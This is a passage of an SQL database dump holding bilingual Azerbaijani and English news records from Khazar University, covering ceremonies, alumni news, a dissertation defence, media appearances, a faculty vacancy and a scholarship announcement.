</p>\r\n<p>Speeches were made by H.Isaxanli, I.Habibbeyli,\r\nA.Rustemli and G.Seyfeddingizi. They also thanked the school for hosting this\r\nimportant public event. </p>\r\n<p>At the end of the ceremony, well-known artists\r\nperformed songs based on Jafar Jabbarli’s poetry.&nbsp;</p>'),(1427,899,'az','“Dünya” məktəbində Cəfər Cabbarlının anım günü keçirildi','Dekabrın 26-da Xəzər Universiteti “Dünya” məktəbinin konsert salonunda görkəmli dramaturq Cəfər Cabbarlının anım günü keçirildi.','<p>Dekabrın 26-da\r\nXəzər Universiteti “Dünya” məktəbinin konsert salonunda görkəmli dramaturq Cəfər\r\nCabbarlının anım günü keçirildi. </p>\r\n<p>Tədbirdə Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxankı,&nbsp; AMEA-nın vitse - prezidenti, Nizami adına Ədəbiyyat\r\nİnstitutunun direktoru akademik İsa Həbibbəyli, Əməkdar jurnalist Asif Rüstəmli,\r\ndramaturqun ailə üzvləri – qızı Gülarə xanım Cabbarlı, Cəfər Cabbarlının\r\nev-muzeyinin direktoru,nəvəsi Qəmər Seyfəddinqızı, respublikanın ədəbi və elmi\r\nictimaiyyətinin nümayəndələri, millət vəkilləri, media mənsubları iştirak\r\nedirdilər.</p>\r\n<p>İlk olaraq\r\ntamaşaçılara dramaturqun haqqında film nümayiş etdirildi. ədibin həyatı və\r\nyaradıcılığı müəllim və şagird kollektivi tərəfindən səhnələşdirilmiş formada\r\ntamaşaçılara təqdim olundu.</p>\r\n<p>H. İsaxanlı, İ.\r\nHəbibbəyli, A. Rüstəmlivə Q.Seyfəddinqızı &nbsp;çıxış edərək, dramaturqun yaradıcılığından söhbət\r\naçdılar. Natiqlər məktəb kollektivi tərəfindən tamaşanın qoyuluşunu təqdir\r\netdilər və bunu ictimai hadisə adlandırdılar.</p>\r\n<p>Tədbirin\r\nsonunda respublikanın tanınmış incəsənət ustaları tərəfindən Cəfər Cabbarlının\r\nşeirlərinə bəstələnmiş mahnılar ifa olundu.</p>'),(1428,900,'az','Məzunumuz fəlsəfə doktorluğu dissertasiyası müdafiə etmişdir','2015-ci il dekabrın25-də Azərbaycan Dövlət Tibb İnstitutunun Dissertasiya Şurasında  Xəzər Universitetinin Tibb fakültəsini tibbi biologiya ixtisası üzrə bitirmiş Samirə Kələntərli “Süd vəzisi xərçəngində immunohistokimyəvi markerlərin Ki67 və PHHZ morfometrik xüsusiyyəti”mövzusunda fəlsəfə doktorluğu dissertasiyası müdafiə etmişdir.','<p>2015-ci il dekabrın25-də Azərbaycan Dövlət Tibb İnstitutunun Dissertasiya\r\nŞurasında&nbsp; Xəzər Universitetinin Tibb\r\nfakültəsini tibbi biologiya ixtisası üzrə bitirmiş Samirə Kələntərli “Süd vəzisi\r\nxərçəngində immunohistokimyəvi markerlərin Ki67 və PHHZ morfometrik xüsusiyyəti”mövzusunda fəlsəfə doktorluğu\r\ndissertasiyası müdafiə etmişdir.</p>\r\n<p>Dissertasiya Şurası S. Kələntərliyə tibb elmləriüzrə fəlsəfə doktoru elmi dərəcəsi verilməsi üçün Azərbaycan\r\nRespublikası Prezidenti yanında Ali Attestasiya Komissiyası qarşısında vəsatət\r\nqaldırmaq haqqında yekdil qərar qəbul etmişdir.</p>\r\n<p>Məzunumuzu təbrik edir, ona yeni uğurlar\r\narzulayırıq.</p>'),(1429,900,'en','Khazar Alumna Defends PhD Dissertation','On December 25, 2015, Samira Kalantarli, a graduate of Khazar University’s former School of Medicine with a concentration in Medical Biology, defended her dissertation on “Morphometric characteristics of Ki-67 and PHHZ immunihistochemical markers in breast cancer” at Azerbaijan State Medical Institution’s Dissertation Council.','<p>On\r\nDecember 25, 2015, Samira Kalantarli, a graduate of Khazar University’s former\r\nSchool of Medicine with a concentration in Medical Biology, defended her\r\ndissertation on “Morphometric characteristics of Ki-67 and PHHZ immunihistochemical\r\nmarkers in breast cancer” at Azerbaijan State Medical Institution’s\r\nDissertation Council. </p>\r\n<p>&nbsp;</p>\r\n<p>The\r\nDissertation Council voted unanimously to recommend Kalantarli for a Doctor of\r\nMedical Sciences diploma by the Higher Attestation Commission of the President\r\nof the Azerbaijan Republic. </p>\r\n<p>&nbsp;</p>\r\n<p>We\r\ncongratulate our alumna on this accomplishment and wish her further success.&nbsp;</p>'),(1430,901,'az','“Xəzər”in məzunu uğur hekayəsini bölüşür','2016-cı il yanvarın 11-də “Kaspi” qəzetinin İnternet saytında Xəzər Universitetinin məzunu Hökumə Kərimova ilə müsahibə çap olunmuşdur.','<p>2016-cı il yanvarın 11-də “Kaspi” qəzetinin\r\nİnternet saytında Xəzər Universitetinin məzunu Hökumə Kərimova ilə müsahibə çap\r\nolunmuşdur. </p>\r\n<p>H.Kərimova Xəzər Universitetinin Humanitar\r\nvə sosial elmlər fakültəsinin Beynəlxalq münasibətlər ixtisasını ən yüksək fəxri\r\ndiplomla bitirdikdən sonra ABŞ-ın Ayova ştatının\r\nVartburq Universitetində Beynəlxalq münasibətlər ixtisası üzrə təhsil almışdır.\r\nO, hazırda YARAT Müasir İncəsənət Məkanının əlaqələr üzrə meneceri vəzifəsində\r\nçalışır.</p>\r\n<p>Müsahibəni bu link vasitəsilə\r\noxumaq olar:</p>\r\n<p><a href=\"http://kaspi.az/news.php?id=26359\">http://kaspi.az/news.php?id=26359</a></p>'),(1431,901,'en','Khazar Alumna Shares Success Story','On January 11, 2016, Khazar University alumna Hokume Karimova’s success story was published on the Kaspi Newspaper’s website.','<p>On January 11, 2016, Khazar University\r\nalumna Hokume Karimova’s success story was published on the Kaspi Newspaper’s\r\nwebsite. </p>\r\n<p>Karimova graduated from Khazar\r\nUniversity’s School of Humanities and Social Sciences with honors with a major\r\nin International Relations. She then studied international relations at\r\nWartburg College in Iowa (USA). She is currently working as a manager at YARAT\r\nmodern art center. </p>\r\n<p>Her interview is available at this link: <a href=\"http://kaspi.az/news.php?id=26359\">http://kaspi.az/news.php?id=26359</a></p>'),(1432,902,'az','Xəzər Universitetinin təsisçisi “Naşir”ə müsahibə verdi','Azərbaycan Naşirlər və Poliqrafçılar İctimai Birliyinin “Naşir” jurnalının noyabr-dekabr 2015-ci il buraxılışında Xəzər Universitetinin təsiçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının','<p>Azərbaycan Naşirlər və\r\nPoliqrafçılar İctimai Birliyinin “Naşir” jurnalının noyabr-dekabr 2015-ci il\r\nburaxılışında Xəzər Universitetinin təsiçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlının “Hamlet İsaxanlı: Gələcəyə gedən\r\nyol düşüncədir, ağıldır” adlı müsahibəsi dərc olunmuşdur.</p>\r\n<p>Müsahibəni jurnalın baş\r\nredaktoru Gülnar Mayisqızı Məsimli aparmışdır.</p>'),(1433,902,'en','Founder of Khazar University’s Interview Published in Nashir Journal','An interview with Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, entitled “Hamlet Isaxanli:','<p>An\r\ninterview with Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees, entitled “Hamlet Isaxanli: The\r\nRoad to the Future is Thought and Intelligence” was printed in the\r\nNovember-December 2015 issue of Nashir Journal, published by Azerbaijan\r\nPublishers and Poligraphists’ Public Union. </p>\r\n<p>The\r\ninterview was conducted by Gulnar Mayisgizi Masmili, Editor-in-Chief of the\r\njournal. </p>\r\n<p>&nbsp;</p>'),(1434,903,'az','“14-cü əsr Avropa intellektualları” “Elm üçbucağı”nda','2016-cı il  yanvarın 10-da İctimai TV-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının “Elm üçbucağı” proqramının növbəti verilişi oldu. Veriliş “14-cü əsr Avropa intellektualları” mövzusuna həsr olunmuşdu.','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2016-cı\r\nil&nbsp; yanvarın 10-da İctimai TV-də Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının “Elm\r\nüçbucağı” proqramının növbəti verilişi oldu. Veriliş “14-cü əsr Avropa intellektualları” mövzusuna həsr olunmuşdu.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Verilişdə\r\nuniversitetin əməkdaşları da dinləyici qismində iştirak edirdilər.</p>\r\n<p>&nbsp;</p>'),(1435,903,'en','“European intellectuals of the 14th century” on Triangle of Science Show','On January 10, 2016, a lecture by Khazar University’s founder and chairman of the Board of Directors and Trustees, Professor Hamlet Isaxanli, was broadcast on his “Triangle of Science” Program on Public TV.','<p>On\r\nJanuary 10, 2016, a lecture by Khazar University’s founder and chairman of the\r\nBoard of Directors and Trustees, Professor Hamlet Isaxanli, was broadcast on\r\nhis “Triangle of Science” Program on Public TV.&nbsp; The topic was “European\r\nintellectuals of the 14<sup>th</sup> century.” An audience of Khazar employees\r\nand students also participated in the show.</p>\r\n<p>&nbsp;</p>'),(1436,904,'az','Təsisçi Qafar Sarıvəllinin rəsm sərgisində','2015-ci il yanvarın 12-də Vəcihə Səmədova adına sərgi salonunda tanınmış rəssam Qafar Sarıvəllinin müxtəlif janrlarda olan rəsm əsərlərindən ibarət sərgisinin açılış mərasimi keçirildi.','<p>2015-ci il yanvarın 12-də Vəcihə Səmədova\r\nadına sərgi salonunda tanınmış rəssam Qafar Sarıvəllinin müxtəlif janrlarda\r\nolan rəsm əsərlərindən ibarət sərgisinin açılış mərasimi keçirildi. </p>\r\n<p>Tədbirdə çıxış edən Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı rəssamın\r\nyaradıcılığı xaraktərizə etdi. </p>\r\n<p>Qeyd\r\nedək ki, Hamlet İsaxanlının “Yadındamı” şeiri əsasında Q.Sarıvəllinin çəkdiyi\r\nqrafika əsəri də sərgiyə daxil edilmişdi.</p>'),(1437,904,'en','Founder at Gavar Sarivelli Art Exhibition','On January 12, 2016, an opening ceremony for exhibits of various genres by Gafar Sarivelli was held at the Vajiha Samadova exhibition hall.','<p>On January 12, 2016, an opening ceremony for\r\nexhibits of various genres by Gafar Sarivelli was held at the Vajiha Samadova\r\nexhibition hall.</p>\r\n<p>Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, made a speech\r\nat the opening ceremony in which he described Gafar Sarivelli’s work. </p>\r\n<p>One of the works included in the exhibition was a\r\ngraphic work by Sarivelli based on Hamlet Isaxanli’s poem “Yadindami” (Do You\r\nRemember).&nbsp;</p>'),(1438,905,'az','Xəzər Universiteti “Sağlam Universiada” layihəsinin qalibi oldu','2016-cı il yanvarın 13-də gun.az və adalet.az xəbər saytlarında Azərbaycan Respublikasının Prezidenti yanında Gənclər Fondunun VII qrant müsabiqəsi çərçivəsində maliyyələşdirdiyi, Azərbaycan Atıcılıq Federasiyası və Azərbaycan Velosiped İdmanı Federasiyasının tərəfdaş qismində iştirak etdiyi “Sağlam Universiada” layihəsinin ilk Paintball turniri haqqında xəbər yayınlanmışdır. ','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il\r\nyanvarın 13-də <strong><em>gun.az</em></strong> və <strong><em>adalet.az</em></strong> xəbər\r\nsaytlarında Azərbaycan Respublikasının Prezidenti yanında Gənclər Fondunun VII\r\nqrant müsabiqəsi çərçivəsində maliyyələşdirdiyi, Azərbaycan Atıcılıq\r\nFederasiyası və Azərbaycan Velosiped İdmanı Federasiyasının tərəfdaş qismində\r\niştirak etdiyi “Sağlam Universiada” layihəsinin ilk Paintball turniri haqqında\r\nxəbər yayınlanmışdır.Xəzər Universitetinin komandası turnirin qalibi\r\nolmuş və velosiped turnirinə birbaşa vəsiqə qazanmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəbəri və xəbərlə bağlı şəkilləri bu linkdən\r\nizləmək olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://gun.az/xeber-telebeler-arasinda-paintball-turniri-kecirilib-t183918.html\">http://gun.az/xeber-telebeler-arasinda-paintball-turniri-kecirilib-t183918.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">http://www.adalet.az/w87476/Tələbələr_arasında_Paintball_turnir_keçirildi.&nbsp;</p>'),(1439,905,'en','Khazar University wins “Healthy University” Project ','On January 13, 2016, the gun.az and adalet.az news sites reported that a paintball tournament was held with the financial support of the Youth Fund of the President of the Azerbaijan Republic in partnership with Azerbaijan Shooting Federation and Azerbaijan Bicycle Sports Federation as part of a project entitled “Healthy University.” ','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On January\r\n13, 2016, the gun.az and adalet.az news sites reported that a paintball\r\ntournament was held with the financial support of the Youth Fund of the\r\nPresident of the Azerbaijan Republic in partnership with Azerbaijan Shooting\r\nFederation and Azerbaijan Bicycle Sports Federation as part of a project\r\nentitled “Healthy University.” Khazar University’s team took first place in the\r\npaintball tournament and won the right to participate in the bicycle\r\ntournament. More detailed news (in Azerbaijani) and pictures are available at\r\nthe following links: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://gun.az/xeber-telebeler-arasinda-paintball-turniri-kecirilib-t183918.html\">http://gun.az/xeber-telebeler-arasinda-paintball-turniri-kecirilib-t183918.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">http://www.adalet.az/w87476/Tələbələr_arasında_Paintball_turnir_keçirildi.&nbsp;</p>'),(1440,906,'en','Director of Culture TV Channel visits Khazar','On January 13, 2016, Azerbaijan Republic People’s Artist Ramil Gasimov, head director of the “Mədəniyyət” (Culture) TV channel, ','<p>On January 13, 2016, Azerbaijan Republic\r\nPeople’s Artist Ramil Gasimov, head director of the “Mədəniyyət” (Culture) TV\r\nchannel, visited Khazar University and met with Professor Hamlet Isaxanli, the\r\nfounder of Khazar University and Chairman of its Board of Directors and Trustees.\r\nDr. Eldar Shahgaldiyev, Head of the Division for Graduate Students and\r\nResearch, also participated in the meeting, in which the parties discussed\r\npossibilities for future partnership.&nbsp;</p>'),(1441,906,'az','“Mədəniyyət” kanalının baş direktoru “Xəzər”də','2016-cı il yanvarın 13-də Xəzər Universitetində “Mədəniyyət” kanalının baş direktoru Azərbaycan Respublikasının əməkdar artisti Ramil Qasımov Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlını ziyarət etmişdir.','<p>2016-cı il yanvarın 13-də Xəzər Universitetində “Mədəniyyət” kanalının baş\r\ndirektoru Azərbaycan Respublikasının əməkdar artisti Ramil Qasımov Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlını ziyarət etmişdir. Magistratura, Doktorantura və Elmi işlər\r\nüzrə bölməsinin müdiri Eldar Şahgəldiyev görüşdə iştirak etmişdir.&nbsp; Görüşdə\r\nqarşılıqlı əməkdaşlıq haqqında məsələlər müzakirə olunmuşdur.</p>'),(1442,907,'az','ABŞ səfirliyinin nümayəndələri ilə görüş','2016-cı il yanvarın 8-də ABŞ-ın ölkəmizdəki səfirliyinin nümayəndələri əməkdaşlıq imkanlarını müzakirə etmək məqsədilə Xəzər Universitetində oldular.','<p class=\"xmsonormal\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:22.5pt;background:white\"\"=\"\">2016-cı il yanvarın 8-də ABŞ-ın ölkəmizdəki səfirliyinin\r\nnümayəndələri əməkdaşlıq imkanlarını müzakirə etmək məqsədilə Xəzər\r\nUniversitetində oldular. Səfirliyin Mədəniyyət və təhsil məsələləri üzrə\r\nmüşaviri Amy Petersen və Təhsil işləri üzrə mütəxəssisi Ramina Mürşüdova Xəzər\r\nUniversitetinin rektoru Hassan Niknafs, Tədris işləri üzrə prorektoru Məhəmməd\r\nNuriyev və Siyasi elm və beynəlxalq münasibətlər departamentinin müdiri Muxtar\r\nHacızadə ilə görüşdülər.</p>\r\n<p class=\"xmsonormal\" style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:22.5pt;background:white\"\"=\"\">Görüş zamanı ABŞ səfirliyinin nümayəndələri\r\nAzərbaycan vətəndaşları üçün hazırda mövcud olan proqramlar haqqında məlumat\r\nverdilər. Professor Niknafs isə xarici tələbələr üçün Xəzər Universitetində\r\nmövcud olan imkanlardan danışdı.</p>'),(1443,907,'en','Meeting with US Embassy Representatives','On January 8, 2016, Khazar University hosted a meeting with the staff members of the US embassy in Baku for the purpose of exploring cooperation opportunities. ','<p>On January 8,\r\n2016, Khazar University hosted a meeting with the staff members of the US\r\nembassy in Baku for the purpose of exploring cooperation opportunities.\r\nCultural Affairs Officer Amy Petersen, Grants Manager Nigar Aliyeva, and Education\r\nSpecialist Ramina Murshudova were met by President Hassan Niknafs, Vice\r\nPresident Mahammad Nuriyev and Mukhtar Hajizada, Head of the Department of\r\nPolitical Science and International Relations Department. During the meeting,\r\nthe Embassy officers informed the members of Khazar University about the\r\nvarious programs currently available for Azerbaijani nationals. President\r\nNiknafs informed the education specialists of the US embassy about Khazar\r\nUniversity’s facilities for hosting international scholars and students.</p>\r\n<p>&nbsp;</p>'),(1444,908,'az','Hamlet İsaxanlı: “Ziyalı şəxslərə dövlətin qayğı və diqqəti mühümdür”','2016-cı il yanvarın 15-də “Şərq” qəzetinin İnternet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının “Biz ziyalilar da müraciət edirik, hökumət ona kömək olsun” adlı məqalədə əməkdar elm xadimi, fəlsəfə elmləri doktoru, professor Camal Mustafayevin səhhəti ilə bağlı münasibəti dərc olunmuşdur.','<p>2016-cı il\r\nyanvarın 15-də “Şərq” qəzetinin İnternet səhifəsində Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının “Biz\r\nziyalilar da müraciət edirik, hökumət ona kömək olsun” adlı məqalədə əməkdar\r\nelm xadimi, fəlsəfə elmləri doktoru, professor Camal Mustafayevin səhhəti ilə\r\nbağlı münasibəti dərc olunmuşdur. </p>\r\n<p>Qeyd edək ki, professor C.Mustafayevin bir\r\nneçə ildir ki, səhhətində ciddi problemlər var.</p>\r\n<p>Məqalə\r\nilə tam şəkildə bu linkdən tanış olmaq olar:</p>\r\n<p>http://www.sherg.az/site/id-13707/”Biz_ziyalılar_da_müraciət_edirik,_hökumət_ona_kömək_olsun”\r\n</p>\r\n<p>&nbsp;</p>'),(1445,908,'en','Founder Cited in Article about Jamal Mustafayev','On January 15, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was quoted in an article on the Sharg Newspaper’s website entitled ','<p>On\r\nJanuary 15, 2016, Professor Hamlet Isaxanli, the founder of Khazar University\r\nand Chairman of its Board of Directors and Trustees, was quoted in an article\r\non the Sharg Newspaper’s website entitled “We Intellectuals Appealed to the\r\nGovernment for Help on His Behalf” which discusses the medical situation of\r\nProfessor Jamal Mustafayev, public figure and Meritorious Scholar. Mustafayev\r\nhas suffered from a serious health problem for several years. </p>\r\n<p>The\r\nfull text of the article is available (in Azerbaijani) at the following link: </p>\r\n<p>http://www.sherg.az/site/id-13707/”Biz_ziyalılar_da_müraciət_edirik,_hökumət_ona_kömək_olsun”</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>'),(1446,909,'az','“Xəzər Xəbər”  jurnalının 2015-ci il dekabr nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2015 - ci il  dekabrnömrəsi (347-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır.','<p>“Xəzər Xəbər”\r\njurnalının 2015 - ci il&nbsp; dekabrnömrəsi (347-ci nömrə) Xəzər\r\nUniversitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu\r\nlinkdə də oxuya\r\nbilərsiniz: <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(1447,909,'en','December Issue of Khazar Review Journal Printed','The December 2015 issue (number 347) of Khazar Review has been printed by Khazar University Press.','<p>The December 2015 issue (number 347) of\r\nKhazar Review has been printed by Khazar University Press. The full journal may\r\nbe read at this link:&nbsp; <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a>\r\n</p>'),(1448,910,'az','“Azərbaycan müəllimi” “Robotiks” yarışmasından yazdı',' 2016-cı il yanvarın 16-da “Azərbaycan müəllimi” qəzetinin İnternet səhifəsində (muallim.edu.az) Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin tələbələrinin həyata keçirdiyi “Robotiks” yarışması haqqında xəbər yerləşdirilmişdir.','<p>&nbsp;2016-cı il\r\nyanvarın 16-da “Azərbaycan müəllimi” qəzetinin İnternet səhifəsində (<strong><em>muallim.edu.az</em></strong>)\r\nXəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin tələbələrinin həyata\r\nkeçirdiyi “Robotiks” yarışması haqqında xəbər yerləşdirilmişdir.</p>\r\n<p>Xəbəri\r\ntam şəkildə bu linkdən oxumaq olar:</p>\r\n<p><a href=\"http://muallim.edu.az/content/?category=arxiv&amp;issue=02&amp;content_id=29\">http://muallim.edu.az/content/?category=arxiv&amp;issue=02&amp;content_id=2</a></p>'),(1449,910,'en','Robotics Competition in Azerbaijani Teacher Newspaper','On January 16, 2016, “Azərbaycan müəllimi” (Azerbaijani Teacher) Newspaper published an article on its website (muallim.edu.az) about a student robotics competition held by Khazar University’s School of Engineering and Applied Sciences.','<p>On January\r\n16, 2016, “Azərbaycan müəllimi” (Azerbaijani Teacher) Newspaper published an\r\narticle on its website (<strong><em>muallim.edu.az</em></strong>) about a student robotics\r\ncompetition held by Khazar University’s School of Engineering and Applied\r\nSciences. </p>\r\n<p>The full text\r\nof the article is available (in Azerbaijani) at the following link: </p>\r\n<p><a href=\"http://muallim.edu.az/content/?category=arxiv&amp;issue=02&amp;content_id=29\">http://muallim.edu.az/content/?category=arxiv&amp;issue=02&amp;content_id=29</a></p>'),(1450,911,'az','Avrasiya Akademiyası rəsmi açılışı və “Avrasiya Əfsanəsi” təqdimat mərasimi olacaq','2016-ci il yanvarın 29-u saat 16:00-da Xəzər Universitetinin “Neftçilər” kampusunun “Mərmər” zalında Avrasiya Akademiyasının rəsmi açılış mərasimi və “Avrasiya Əfsanəsi” mükafatının təqdimatı keçiriləcək. Mərasimdə Azərbaycan, Türkiyə, ABŞ, İsveçrə, Latvia və digər ölkələrinin nümayəndələrinin iştirakı gözlənilir.','<p>2016-ci il\r\nyanvarın 29-u saat 16:00-da Xəzər Universitetinin “Neftçilər” kampusunun “Mərmər”\r\nzalında Avrasiya Akademiyasının rəsmi açılış mərasimi və “Avrasiya Əfsanəsi”\r\nmükafatının təqdimatı keçiriləcək. Mərasimdə Azərbaycan, Türkiyə, ABŞ, İsveçrə,\r\nLatvia və digər ölkələrinin nümayəndələrinin iştirakı gözlənilir. </p>\r\n<p>Avrasiya\r\nAkademiyası haqqında ətraflı məlumat bu saytdan əldə oluna bilər: </p>\r\n<p><a href=\"http://eurasia-academy.org/\">http://eurasia-academy.org/</a>.&nbsp;</p>'),(1451,911,'en','Eurasian Academy Opening and Eurasian Legend Award Ceremony ','On January 29, 2016 at 16:00 in the Marble Hall of Khazar University’s Neftchilar Campus, the Eurasian Academy opening and Eurasian Legend award ceremony will take place with the participation of representatives of Azerbaijan, Turkey, the USA, Switzerland, Latvia and other countries.','<p>On January 29, 2016 at 16:00 in the Marble\r\nHall of Khazar University’s Neftchilar Campus, the Eurasian Academy opening and\r\nEurasian Legend award ceremony will take place with the participation of\r\nrepresentatives of Azerbaijan, Turkey, the USA, Switzerland, Latvia and other\r\ncountries. </p>\r\n<p>For more detailed\r\ninformation about Eurasian Academy, please see the following link: <a href=\"http://eurasia-academy.org/\">http://eurasia-academy.org/</a>. </p>\r\n<p>&nbsp;</p>'),(1452,912,'en','Vacancy: Associate Professor in Persian Language','Khazar University Department of Languages and Civilizations announces one vacancy for the position of Associate Professor in Persian Language.\r\n\r\nCandidates must meet the following requirements:\r\n\r\n-          PhD degree in appropriate major;\r\n\r\n-          At least 5 years’ teaching experience in the field;\r\n\r\n-          Academic research skills.','<p>Khazar University\r\nDepartment of Languages and Civilizations announces one vacancy for the\r\nposition of Associate Professor in Persian Language. </p>\r\n<p>Candidates must\r\nmeet the following requirements: </p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPhD\r\ndegree in appropriate major;</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAt\r\nleast 5 years’ teaching experience in the field;</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAcademic\r\nresearch skills. </p>\r\n<p>Candidates must turn in documents within\r\n30 days to the Khazar University Neftchilar Campus (room 506) in accordance\r\nwith Order 401 of the Ministry of Education of the Azerbaijan Republic on\r\n“Rules for Hiring Professors and Instructors in Higher Education Institutions”\r\ndated 07.08.1996. </p>\r\n<p>&nbsp;</p>\r\n<p>Required documents: </p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nID\r\ncard</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCopies\r\nof diplomas</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nList\r\nof academic publications</p>\r\n<p>&nbsp;</p>\r\n<p>For\r\nfurther information, please call:</p>\r\n<p>Tel: +994 12 421 7916 (215);</p>\r\n<p>Fax: +994 12 498 93 79.</p>\r\n<p><strong>Applicant\r\nScreening Committee</strong></p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>'),(1453,912,'az','Fars dili müəllimi üzrə dosent vəzifəsi vakansiyası','Xəzər Universiteti Dillər və mədəniyyətlər kafedrası fars dili müəllimi üzrə dosent vəzifəsi vakansiyası (1 yer) üçün müsabiqə elan olunur. Müsabiqə daxili namizədlər üçün nəzərdə tutulmuşdur.\r\n\r\nMüsabiqədə iştirak etmək üçün aşağıdakı şərtlər tələb olunur:','<p>Xəzər Universiteti Dillər\r\nvə mədəniyyətlər kafedrası fars dili müəllimi\r\nüzrə dosent vəzifəsi vakansiyası (1 yer) üçün müsabiqə <strong>elan</strong> olunur.\r\nMüsabiqə daxili namizədlər üçün nəzərdə tutulmuşdur.</p>\r\n<p>Müsabiqədə iştirak etmək üçün aşağıdakı şərtlər\r\ntələb olunur:</p>\r\n<p>–İxtisas üzrə fəlsəfə doktoru elmi adı;</p>\r\n<p>–İxtisas üzrə 5 il pedaqoji staj;</p>\r\n<p>–Elmi tədqiqat bacarığı.</p>\r\n<p>&nbsp;</p>\r\n<p>Müsabiqədə iştirak\r\netmək üçün sənədlər Azərbaycan Respublikası Təhsil Nazirliyinin 07.08.1996-cı\r\nil tarixli 401 saylı əmri ilə təsdiq edilmiş “Ali təhsil müəssisələrində\r\nprofessor-müəllim vəzifələrinin tutulması qaydaları haqqında” əsasnaməyə uyğun\r\nolaraq elan olunduğu gündən başlayaraq, 30 gün müddətində Xəzər Universiteti\r\n“Neftçilər” kampusunda &nbsp;(506-cı otaqda) qəbul\r\nedilir.</p>\r\n<p>&nbsp;</p>\r\n<p>Tələb olunan sənədlər:</p>\r\n<p>–Şəxsiyyət vəsiqəsi;</p>\r\n<p>–Diplomların surəti; </p>\r\n<p>–Elmi əsərlərin siyahısı.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p>Əlavə məlumat\r\nüçün bu nömrələrlə əlaqə saxlamaq olar:</p>\r\n<p>Tel: +994 12 421 7916 (215);</p>\r\n<p>Fax: +994 12 498 93 79.</p>\r\n<p><strong>Sənədlərin qəbulu\r\nkomissiyası</strong></p>\r\n<p>&nbsp;</p>'),(1454,913,'az','Macarıstanda təhsil imkanları','2014-cü il noyabrın 11-də imzalanmış “Azərbaycan Respublikası Təhsil Nazirliyi və Macarıstan İnsan Resursları Nazirliyi arasında 2015-2017-ci illər...','<p>2014-cü il noyabrın 11-də imzalanmış “Azərbaycan\r\nRespublikası Təhsil Nazirliyi və Macarıstan İnsan Resursları Nazirliyi arasında\r\n2015-2017-ci illər üzrə İş Proqramı” çərçivəsində 2016-2017-ci tədris ilində\r\nMacarıstanın nüfuzlu ali təhsil müəssisələrində bu ölkənin büdcəsi hesabına təhsil\r\nalmaq üçün ərizələrin qəbulu elan olunur.</p>\r\n<p>Göstərilən təqaüdlər və 